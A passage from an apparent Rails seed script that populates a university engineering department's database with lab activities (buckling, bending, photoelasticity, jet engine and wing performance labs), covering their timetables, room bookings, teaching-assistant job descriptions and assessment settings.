a83.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a83.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a83.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a83.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a84 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"232\").first_or_create!(name: \"Continuous Beam - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at84 = ActivityTimetable.where(activity_id: a84.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at84.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a84.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a84.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a84.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a84.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a84.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a85 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at85 = ActivityTimetable.where(activity_id: a85.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at85.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a85.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a85.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a85.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a85.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a85.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a86 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6136\").first.id, code: \"233\").first_or_create!(name: \"Hole in Plate - Modelling\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at86 = ActivityTimetable.where(activity_id: a86.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 11, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at86.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a86.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a86.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a86.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a86.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a86.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a87 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at87 = ActivityTimetable.where(activity_id: a87.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at87.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a87.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a87.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a87.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a87.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a87.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a88 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at88 = ActivityTimetable.where(activity_id: a88.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at88.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a88.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a88.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a88.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a88.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a88.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a90 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"239\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 4)\n at90 = ActivityTimetable.where(activity_id: a90.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at90.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a90.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a90.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a90.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a90.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a90.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a91 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3204\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at91 = ActivityTimetable.where(activity_id: a91.id).first_or_create!(duration: 480, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a91.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a91.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a91.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a91.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a91.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a92 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3207\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at92 = ActivityTimetable.where(activity_id: a92.id).first_or_create!(duration: 2100, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a92.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a92.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a92.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a92.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a92.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a93 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinders\",\n name_abrv: \"THICKWALL\", archived: false, in_drive: true, user_id: 3)\n at93 = ActivityTimetable.where(activity_id: a93.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a93.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a93.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a93.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a93.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a93.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a94 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinder\",\n name_abrv: \"THICKWALL\", archived: true, in_drive: true, user_id: 4)\n at94 = ActivityTimetable.where(activity_id: a94.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a94.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a94.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students monitor the strain through the wall of a thick cylinder, recording their data at a series of different pressures. They then derive formulae for the theoretical strains and compare their data to the theoretical calculations. A knowledge of mechanical of materials, and three-dimensional strains is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a94.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a94.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a94.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a95 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"302\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 5)\n at95 = ActivityTimetable.where(activity_id: a95.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a95.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a95.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a95.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a95.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a95.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a96 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: false, user_id: 1)\n at96 = ActivityTimetable.where(activity_id: a96.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a96.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a96.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a96.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a96.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a96.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a97 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 5)\n at97 = ActivityTimetable.where(activity_id: a97.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a97.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a97.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a97.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a97.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a97.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a98 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"304\").first_or_create!(name: \"Crack propagation\",\n name_abrv: \"CRACKPROP\", archived: true, in_drive: true, user_id: 2)\n at98 = ActivityTimetable.where(activity_id: a98.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a98.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a98.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students use direct-current potential-difference equipment to monitor the growth of a crack in a notched aluminium specimen. This data is then used to calculate the J-resistance of the material during fracture. A knowledge of fracture mechanics is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a98.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a98.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a98.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a99 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6430\").first.id, code: \"305\").first_or_create!(name: \"Mechanical Testing of Chicken Skin\",\n name_abrv: \"CHICKEN\", archived: false, in_drive: true, user_id: 3)\n at99 = ActivityTimetable.where(activity_id: a99.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a99.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a99.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a99.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a99.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a99.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a100 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"306\").first_or_create!(name: \"Performance of Jet Engines\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 2)\n at100 = ActivityTimetable.where(activity_id: a100.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a100.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a100.id).first_or_create!(criteria: \"A knowledge of jet engine operation would be desirable, although a background in mechanical or aerospace engineering would be suitable as well.\",\n job_desc:\"In this lab, students operate a small Jet-Cat engine and take thermodynamic measurements so that they can perform calculations of engine efficeincy. Students also operate an engine simulator in order to perform similar calculations in a range of different conditions.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a100.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a100.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a100.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a101 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER325\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at101 = ActivityTimetable.where(activity_id: a101.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a101.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a101.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a101.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a101.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a101.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a102 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 2)\n at102 = ActivityTimetable.where(activity_id: a102.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a102.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a102.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a102.id).first_or_create!(assess_weight: nil, notes: \"Not 